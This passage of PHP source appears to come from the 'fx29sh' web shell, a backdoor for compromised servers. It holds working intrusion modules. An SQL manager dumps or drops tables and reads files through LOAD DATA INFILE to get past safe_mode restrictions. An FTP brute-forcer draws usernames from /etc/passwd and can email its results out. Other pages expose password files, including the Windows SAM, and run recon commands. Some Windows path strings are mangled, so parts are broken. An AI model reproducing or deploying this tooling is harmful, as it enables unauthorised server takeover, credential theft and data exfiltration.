<? if(!empty($sql_act)){echo "<hr size=\"1\" noshade>";}if($sql_act=="newtbl"){echo "<b>";if((mysql_create_db($sql_newdb)) and (!empty($sql_newdb))){echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}}elseif($sql_act=="dump"){if(empty($submit)){$diplay=FALSE;echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";$v=join(";",$dmptbls);echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5 )."\"><br><br>";if($dump_file){$tmp=$dump_file;}else {$tmp=htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp)%30 )."\"><br><br>";echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";echo "</form>";}else {$diplay=TRUE;$set=array();$set["sock"]=$sql_sock;$set["db"]=$sql_db;$dump_out="download";$set["print"]=0 ;$set["nl2br"]=0 ;$set[""]=0 ;$set["file"]=$dump_file;$set["add_drop"]=TRUE;$set["onlytabs"]=array();if(!empty($dmptbls)){$set["onlytabs"]=explode(";",$dmptbls);}$ret=mysql_dump($set);if($sql_dump_download){@ob_clean();header("Content-type: application/octet-stream");header("Content-length: ".strlen($ret));header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");echo $ret;exit;}elseif($sql_dump_savetofile){$fp=fopen($sql_dump_file,"w");if(!$fp){echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}else {fwrite($fp,$ret);fclose($fp);echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";}}else {echo "<b>Dump: nothing to do!</b>";}}}if($diplay){if(!empty($sql_tbl)){if(empty($sql_tbl_act)){$sql_tbl_act="browse";}$count=mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");$count_row=mysql_fetch_array($count);mysql_free_result($count);$tbl_struct_result=mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");$tbl_struct_fields=array();while($row=mysql_fetch_assoc($tbl_struct_result)){$tbl_struct_fields[]=$row;}if(@$sql_ls>@$sql_le){$sql_le=$sql_ls+$perpage;}if(empty($sql_tbl_page)){$sql_tbl_page=0 ;}if(empty($sql_tbl_ls)){$sql_tbl_ls=0 ;}if(empty($sql_tbl_le)){$sql_tbl_le=30 ;}$perpage=$sql_tbl_le-$sql_tbl_ls;if(!is_numeric($perpage)){$perpage=10 ;}$numpages=$count_row[0 ]/$perpage;$e=explode(" ",$sql_order);if(count($e)==2 ){if($e[0 ]=="d"){$asc_desc="DESC";}else {$asc_desc="ASC";}$v="ORDER BY `".$e[1 ]."` ".$asc_desc." ";}else {$v="";}$query="SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";$result=mysql_query($query) or print (mysql_smarterror());echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0 ]." rows)</b></center>";echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> &nbsp; ";echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> &nbsp; ";echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> &nbsp; ";echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a> &nbsp; ";if($sql_tbl_act=="structure"){echo "<b>Under construction!</b>";}if($sql_tbl_act=="insert"){if(!is_array($sql_tbl_insert)){$sql_tbl_insert=array();}if(!empty($sql_tbl_insert_radio)){echo "<b>Under construction!</b>";}else {echo "<br><br><b>Inserting row into table:</b><br>";if(!empty($sql_tbl_insert_q)){$sql_query="SELECT * FROM `".$sql_tbl."`";$sql_query.=" WHERE".$sql_tbl_insert_q;$sql_query.=" LIMIT 1;";$result=mysql_query($sql_query,$sql_sock) or print ("<br><br>".mysql_smarterror());$values=mysql_fetch_assoc($result);mysql_free_result($result);}else {$values=array();}echo "<form method=\"post\"><table width=\"1%\"><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";foreach($tbl_struct_fields as $field){$name=$field["Field"];if(empty($sql_tbl_insert_q)){$v="";}echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";$i++;}echo "</table><br>";echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";if(empty($sql_tbl_insert_q)){echo " checked";}echo "><b>Insert as new row</b>";if(!empty($sql_tbl_insert_q)){echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";}}if($sql_tbl_act=="browse"){$sql_tbl_ls=abs($sql_tbl_ls);$sql_tbl_le=abs($sql_tbl_le);echo "<hr size=\"1\" noshade>";echo "<img src=\"".$surl."act=img&img=multipage\" alt=\"Pages\"> ";$b=0 ;for($i=0 ;$i<$numpages;$i++){if(($i*$perpage!=$sql_tbl_ls) or ($i*$perpage+$perpage!=$sql_tbl_le)){echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}echo $i;if(($i*$perpage!=$sql_tbl_ls) or ($i*$perpage+$perpage!=$sql_tbl_le)){echo "</u></a>";}if(($i/30 ==round($i/30 )) and ($i>0 )){echo "<br>";}else {echo " ";}}if($i==0 ){echo "empty";}echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";echo "<br><form method=\"post\">
";echo "<table><tr>";echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";for($i=0 ;$i<mysql_num_fields($result);$i++){$v=mysql_field_name($result,$i);if($e[0 ]=="a"){$s="d";$m="asc";}else {$s="a";$m="desc";}echo "<td>";if(empty($e[0 ])){$e[0 ]="a";}if(@$e[1 ]!=$v){echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0 ]."%20".$v."\"><b>".$v."</b></a>";}else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}echo "</td>";}echo "<td><font color=\"green\"><b>Action</b></font></td>";echo "</tr>";while($row=mysql_fetch_array($result,MYSQL_ASSOC)){echo "<tr>";$w="";$i=0 ;foreach($row as $k=>$v){$name=mysql_field_name($result,$i);$w.=" `".$name."` = '".addslashes($v)."' AND";$i++;}if(count($row)>0 ){$w=substr($w,0 ,strlen($w)-3 );}echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";$i=0 ;foreach($row as $k=>$v){$v=htmlspecialchars($v);if($v==""){$v="<font color=\"green\">NULL</font>";}echo "<td>".$v."</td>";$i++;}echo "<td>";echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a> ";echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";echo "</td>";echo "</tr>";}mysql_free_result($result);echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" alt=\" ^ \"><select name=\"sql_act\">";echo "<option value=\"\">With selected:</option>";echo "<option value=\"deleterow\">Delete</option>";echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";}}else {$result=mysql_query("SHOW TABLE STATUS",$sql_sock);if(!$result){echo mysql_smarterror();}else { ?>
	<form method="post">
	<table>
		<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>
<? $i=0 ;$tsize=$trows=0 ;while($row=mysql_fetch_array($result,MYSQL_ASSOC)){$tsize+=$row["Data_length"];$trows+=$row["Rows"];$size=view_size($row["Data_length"]); ?>
		<tr>
			<td><input type="checkbox" name="boxtbl[]" value="<? echo $row["Name"]; ?>"></td>
			<td><a href="<? echo $sql_surl; ?>sql_tbl=<? echo urlencode($row["Name"]); ?>"><b><? echo $row["Name"]; ?></b></a></td>
			<td><? echo $row["Rows"]; ?></td><td><? echo $row["Engine"]; ?></td><td><? echo $row["Create_time"]; ?></td><td><? echo $row["Update_time"]; ?></td><td><? echo $size; ?></td>
			<td><a href="<? echo $sql_surl; ?>sql_act=query&sql_query=<? echo urlencode("DELETE FROM `".$row["Name"]."`"); ?>">Empty</a>&nbsp;<a href="<? echo $sql_surl; ?>sql_act=query&sql_query=<? echo urlencode("DROP TABLE `".$row["Name"]."`"); ?>">Drop</a>&nbsp;<a href="<? echo $sql_surl; ?>sql_tbl_act=insert&sql_tbl=<? echo $row["Name"]; ?>">Insert</a></td>
		</tr>
<? $i++;}echo "		<tr>
"."		<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>
"; ?>
		</tr>
	</table>
	<div align="right">
	<select name="sql_act">
		<option value="">With selected:</option>
		<option value="tbldrop">Drop</option>
		<option value="tblempty">Empty</option>";
		<option value="tbldump">Dump</option>";
		<option value="tblcheck">Check table</option>";
		<option value="tbloptimize">Optimize table</option>";
		<option value="tblrepair">Repair table</option>";
		<option value="tblanalyze">Analyze table</option>";
	</select>
	<input type="submit" value="Confirm">
	</div>
	</form>
<? mysql_free_result($result);}}}}}else {$acts=array("","newdb","serverstatus","servervars","processes","getfile");if(in_array($sql_act,$acts)){ ?>
	<table>
		<tr>
		<td><b>Create new DB:</b>
		<form action="<? echo $surl; ?>">
			<input type="hidden" name="act" value="sql">
			<input type="hidden" name="sql_act" value="newdb">
			<input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
			<input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
			<input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>">
			<input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>">
			<input type="text" name="sql_newdb" size="20">
			<input type="submit" value="Create">
		</form>
		</td>
		<td><b>View File:</b>
		<form action="<? echo $surl; ?>">
			<input type="hidden" name="act" value="sql">
			<input type="hidden" name="sql_act" value="getfile">
			<input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
			<input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
			<input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>">
			<input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>">
			<input type="text" name="sql_getfile" size="30" value="<? echo htmlspecialchars($sql_getfile); ?>">
			<input type="submit" value="Get">
		</form>
		</td>
		</tr>
	</table>
<? }if(!empty($sql_act)){echo "<hr size=\"1\" noshade>";if($sql_act=="newdb"){echo "<b>";if((mysql_create_db($sql_newdb)) and (!empty($sql_newdb))){echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}}if($sql_act=="serverstatus"){$result=mysql_query("SHOW STATUS",$sql_sock);echo "<center><b>Server-status variables:</b><br><br>";echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>";while($row=mysql_fetch_array($result,MYSQL_NUM)){echo "<tr><td>".$row[0 ]."</td><td>".$row[1 ]."</td></tr>";}echo "</table></center>";mysql_free_result($result);}if($sql_act=="servervars"){$result=mysql_query("SHOW VARIABLES",$sql_sock);echo "<center><b>Server variables:</b><br><br>";echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>";while($row=mysql_fetch_array($result,MYSQL_NUM)){echo "<tr><td>".$row[0 ]."</td><td>".$row[1 ]."</td></tr>";}echo "</table>";mysql_free_result($result);}if($sql_act=="processes"){if(!empty($kill)){$query="KILL ".$kill.";";$result=mysql_query($query,$sql_sock);echo "<b>Process #".$kill." was killed.</b>";}$result=mysql_query("SHOW PROCESSLIST",$sql_sock);echo "<center><b>Processes:</b><br><br>";echo "<table><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";while($row=mysql_fetch_array($result,MYSQL_NUM)){echo "<tr><td>".$row[0 ]."</td><td>".$row[1 ]."</td><td>".$row[2 ]."</td><td>".$row[3 ]."</td><td>".$row[4 ]."</td><td>".$row[5 ]."</td><td>".$row[6 ]."</td><td>".$row[7 ]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0 ]."\"><u>Kill</u></a></td></tr>";}echo "</table>";mysql_free_result($result);}if($sql_act=="getfile"){$tmpdb=$sql_login."_tmpdb";$select=mysql_select_db($tmpdb);if(!$select){mysql_create_db($tmpdb);$select=mysql_select_db($tmpdb);$created=!!$select;}if($select){$created=FALSE;mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");$result=mysql_query("SELECT * FROM tmp_file;");if(!$result){echo "<b>Error in reading file (permision denied)!</b>";}else {for($i=0 ;$i<mysql_num_fields($result);$i++){$name=mysql_field_name($result,$i);}$f="";while($row=mysql_fetch_array($result,MYSQL_ASSOC)){$f.=join("
",$row);}if(empty($f)){echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}mysql_free_result($result);mysql_query("DROP TABLE tmp_file;");}}mysql_drop_db($tmpdb);}}}} ?>
	</td>
	</tr>
<? if($sql_sock){$affected=@mysql_affected_rows($sql_sock);if((!is_numeric($affected)) or ($affected<0 )){$affected=0 ;}echo "	<tr><th colspan=2>Affected rows: $affected</th></tr>";} ?>

</table>
<!-- End of SQL Manager -->

<? }if($act=="ftpquickbrute"){bar_header(".: Ftp Quick Brute :.");echo "<table>
";echo "<tr><td>";if(!empty($submit)){if(!is_numeric($fqb_lenght)){$fqb_lenght=$nixpwdperpage;}$fp=fopen("/etc/passwd","r");if(!$fp){echo "Can't get /etc/passwd for password-list.";}else {if($fqb_logging){if($fqb_logfile){$fqb_logfp=fopen($fqb_logfile,"w");}else {$fqb_logfp=FALSE;}$fqb_log="FTP Quick Brute (".sh_name().") started at ".date("d.m.Y H:i:s")."

";if($fqb_logfile){fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}}@ob_flush();$i=$success=0 ;$ftpquick_st=getmicrotime();while(!feof($fp)){$str=explode(":",fgets($fp,2048 ));if(fx29ftpbrutecheck("localhost",21 ,1 ,$str[0 ],$str[0 ],$str[6 ],$fqb_onlywithsh)){echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0 ]."\" and password \"".$str[0 ]."\"</b><br>";$fqb_log.="Connected to ".getenv("SERVER_NAME")." with login \"".$str[0 ]."\" and password \"".$str[0 ]."\", at ".date("d.m.Y H:i:s")."
";if($fqb_logfp){fseek($fqb_logfp,0 );fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}$success++;ob_flush();}if($i>$fqb_lenght){break;}$i++;}if($success==0 ){echo "No success. connections!";$fqb_log.="No success. connections!
";}$ftpquick_t=round(getmicrotime()-$ftpquick_st,4 );echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font class=on><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2 )."<br>";$fqb_log.="
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2 )."
";if($fqb_logfp){fseek($fqb_logfp,0 );fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}if($fqb_logemail){@mail($fqb_logemail,"".sh_name()." report",$fqb_log);}fclose($fqb_logfp);}}else {$logfile=$tmp_dir."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";$logfile=str_replace("//",DIRECTORY_SEPARATOR,$logfile);echo "<form name=\"f_ftpqb\" action=\"".$surl."\">
"."<input type=hidden name=act value=\"ftpquickbrute\">
"."Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>"."<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>"."<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>"."<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2 *(strlen($logfile)/10 ))."\"></td></tr>"."<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2 *(strlen($logemail)/10 ))."\"></td></tr>"."<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";}echo "</td></tr></table></center>";}if($act=="security"){bar_header(".: Server Security Information :."); ?>

<table class="contents">
	<tr><td>Open Base Dir</td><td><? echo $hopenbasedir; ?></td></tr>
	<td>Password File</td><td>
<? if(!is_windows()){if($nixpasswd){if($nixpasswd==1 )$nixpasswd=0 ;if(!is_numeric($nixpwd_s))$nixpwd_s=0 ;if(!is_numeric($nixpwd_e))$nixpwd_e=$nixpwdperpage; ?>
	*nix /etc/passwd:<br>
	<form name="f_pwd" action="<? echo $surl; ?>">
		<input type="hidden" name="act" value="security">
		<input type="hidden" name="nixpasswd" value="1">
		<b>From:</b>
		<input type="text" name="nixpwd_s" value="<? echo $nixpwd_s; ?>">
		<b>To:</b>
		<input type="text" name="nixpwd_e" value="<? $nixpwd_e; ?>">
		<input type="submit" value="View">
	</form><br>
<? $i=$nixpwd_s;while($i<$nixpwd_e){$uid=posix_getpwuid($i);if($uid){$uid["dir"]="<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";echo "		".join(":",$uid)."<br>
";}$i++;}}else {echo "	<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>View /etc/passwd</b></a>
";}}else {$v=$_SERVER["WINDIR"].'
epair\sam';if(file_get_contents($v)){echo "	<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><b>Download password file</b></a>
";}} ?>
	</td></tr>
	<tr><td>Config Files</td><td>
<? if(!is_windows()){$v=array(array("User Domains","/etc/userdomains"),array("Cpanel Config","/var/cpanel/accounting.log"),array("Apache Config","/usr/local/apache/conf/httpd.conf"),array("Apache Config","/etc/httpd.conf"),array("Syslog Config","/etc/syslog.conf"),array("Message of The Day","/etc/motd"),array("Hosts","/etc/hosts"));$sep="/";}else {$windir=$_SERVER["WINDIR"];$etcdir=$windir.'\system32\drivers\etc\';$v=array(array("Hosts",$etcdir."hosts"),array("Local Network Map",$etcdir."networks"),array("LM Hosts",$etcdir."lmhosts.sam"),);$sep="\";}foreach($v as $sec_arr){$sec_f=substr(strrchr($sec_arr[1 ],$sep),1 );$sec_d=rtrim($sec_arr[1 ],$sec_f);$sec_full=$sec_d.$sec_f;$sec_d=rtrim($sec_d,$sep);if(file_get_contents($sec_full)){echo "	[ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0 ]."</b></a> ]
";}} ?>
	</td></tr>
<? function dispsecinfo($name,$value){if(!empty($value)){echo "	<tr><td>".$name."</td><td>
"."<pre>".wordwrap($value,100 )."</pre>
"."	</td></tr>
";}}if(!is_windows()){dispsecinfo("OS Version",fx29exec("cat /proc/version"));dispsecinfo("Kernel Version",fx29exec("sysctl -a | grep version"));dispsecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));dispsecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));dispsecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));dispsecinfo("RAM",fx29exec("free -m"));dispsecinfo("HDD Space",fx29exec("df -h"));dispsecinfo("List of Attributes",fx29exec("lsattr -a"));dispsecinfo("Mount Options",fx29exec("cat /etc/fstab"));dispsecinfo("lynx installed?",fx29exec("which lynx"));dispsecinfo("links installed?",fx29exec("which links"));dispsecinfo("GET installed?",fx29exec("which GET"));dispsecinfo("Where is Apache?",fx29exec("whereis apache"));dispsecinfo("Where is perl?",fx29exec("whereis perl"));dispsecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf"));dispsecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));dispsecinfo("Locate my.conf",fx29exec("locate my.conf"));dispsecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));}else {dispsecinfo("OS Version",fx29exec("ver"));dispsecinfo("Account Settings",fx29exec("net accounts"));dispsecinfo("User Accounts",fx29exec("net user"));}echo "</table>
";}if($act=="mkfile"){if($mkfile!=$d){if($overwrite==0 ){if(file_exists($mkfile)){echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile);}}else {if(!fopen($mkfile,"w")){echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile);}else {$act="f";$d=dirname($mkfile);if(substr($d,-1 )!=DIRECTORY_SEPARATOR){$d.=DIRECTORY_SEPARATOR;}$f=basename($mkfile);}}}else {disp_error("Enter filename!");}}if($act=="encoder"){if(!isset($encoder_input))$encoder_input="";bar_header(".: Encoder :."); ?>
<script language="javascript">
function set_encoder_input(text) {
  document.forms.encoder.input.value = text;
}
</script>

<form name="encoder" action="<? echo $surl; ?>" method="post">
	<input type="hidden" name="act" value="encoder">
	<table class="contents">
		<tr><td colspan="2">Input:</td><td><textarea name="encoder_input" id="input" cols="70" rows="5"><? echo @htmlspecialchars($encoder_input); ?></textarea><br>
		<input type="submit" value="Calculate">
		</td></tr>
		<tr><td rowspan="4">Hashes:</td>
<? foreach(array("md5","crypt","sha1","crc32") as $v){ ?>
		<td><? echo $v; ?>:</td><td><input type="text" size="50" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<? echo $v($encoder_input); ?>" readonly>
		</td></tr>
		<tr>
<? } ?>
		</tr>
		<tr><td rowspan=2>Url:</td><td>urlencode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<? echo urlencode($encoder_input); ?>" readonly></td></tr>
		<tr><td>urldecode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<? echo htmlspecialchars(urldecode($encoder_input)); ?>" readonly></td></tr>
		<tr><td rowspan=2>Base64:</td><td>base64_encode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<? echo base64_encode($encoder_input); ?>" readonly></td></tr>
		<tr><td>base64_decode:</td>
		<td>
<? if(base64_encode(base64_decode($encoder_input))!=$encoder_input){ ?>
		<input type="text" size="35" value="Failed!" disabled readonly>
<? }else {$debase64=base64_decode($encoder_input);$debase64=str_replace("","[0]",$debase64);$a=explode("
",$debase64);$rows=count($a);$debase64=htmlspecialchars($debase64);if($rows==1 ){echo "		<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}else {$rows++;echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>
";}echo "		</td></tr>
"."		<tr><td>Base convertations:</td><td>dec2hex</td><td>"."<input type=\"text\" size=\"35\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"\"";$c=strlen($encoder_input);for($i=0 ;$i<$c;$i++){$hex=dechex(ord($encoder_input[$i]));if($encoder_input[$i]=="&"){echo $encoder_input[$i];}elseif($encoder_input[$i]!="\"){echo "%".$hex;}}echo "\" readonly>
"; ?>
		</td></tr>
	</table>
</form>
<? }if($act=="fsbuff"){$arr_copy=$sess_data["copy"];$arr_cut=$sess_data["cut"];$arr=array_merge($arr_copy,$arr_cut);if(count($arr)==0 ){echo "<h2><center>Buffer is empty!</center></h2>";}else {$fx_infohead="File-System Buffer";$ls_arr=$arr;$disp_fullpath=TRUE;$act="ls";}}if($act=="selfremove"){ ?>
<div class="barheader">
	.: SELF KILL :.
	<hr size="1" noshade>

<? if((@$submit==@$rndcode) && (@$submit!="")){if(unlink(__FILE__)){@ob_clean();echo "Thanks for using ".sh_name()."!";fx29shexit();}else {disp_error("Can't delete ".__FILE__."!");}}else {if(!empty($rndcode)){disp_error("Error: Incorrect confirmation code!");}$rnd=rand(0 ,9 ).rand(0 ,9 ).rand(0 ,9 ); ?>
<form name="f_killshell" action="<? echo $surl; ?>">
	<input type="hidden" name="act" value="selfremove">
	<input type="hidden" name="rndcode" value="<? echo $rnd; ?>">
	Are you sure want to remove this shell ?<br>
	<? disp_error(__FILE__); ?>
	<br>For confirmation, enter "<? echo $rnd; ?>"<br>
	<input type="text" name="submit"><br>
	<input type="submit" value="KILL">
</form>
</div>
<? }}if($act=="feedback"){$suppmail=base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");if(!empty($submit)){$ticket=substr(md5(microtime()+rand(1 ,1000 )),0 ,6 );$body=sh_name()." feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
